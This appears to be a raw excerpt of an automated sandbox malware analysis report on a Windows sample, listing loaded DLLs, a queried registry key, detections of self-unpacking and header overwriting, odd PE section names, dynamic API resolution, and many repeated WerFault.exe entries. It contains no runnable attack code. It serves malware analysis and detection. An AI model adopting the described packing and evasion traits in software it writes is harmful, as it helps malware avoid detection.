Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Unpacked PE file: 0.2.mJXdkcP4Wx.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.notiza:W;.tls:W;.vumob:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Unpacked PE file: 0.2.mJXdkcP4Wx.exe.400000.1.unpack

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: mJXdkcP4Wx.exe	Static PE information: section name: .notiza
Source: mJXdkcP4Wx.exe	Static PE information: section name: .vumob

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0041B035 push ecx; ret	0_2_0041B048
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0040020D pushfd ; iretd	0_2_00400211
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0076B5DB push 7DD07DC0h; iretd	0_2_0076B5EC
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0076E5BA push eax; ret	0_2_0076E5C9
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0076E5AB push eax; ret	0_2_0076E5C9
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_0076AAD5 pushfd ; iretd	0_2_0076AAD8
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022DB29C push ecx; ret	0_2_022DB2AF
Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe	Code function: 0_2_022C0F56 pushfd ; iretd	0_2_022C1078

Source: mJXdkcP4Wx.exe

Static PE information: section name: .text entropy: 7.877215506573334

Source: C:\Users\user\Desktop\mJXdkcP4Wx.exe

0_2_00419860

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
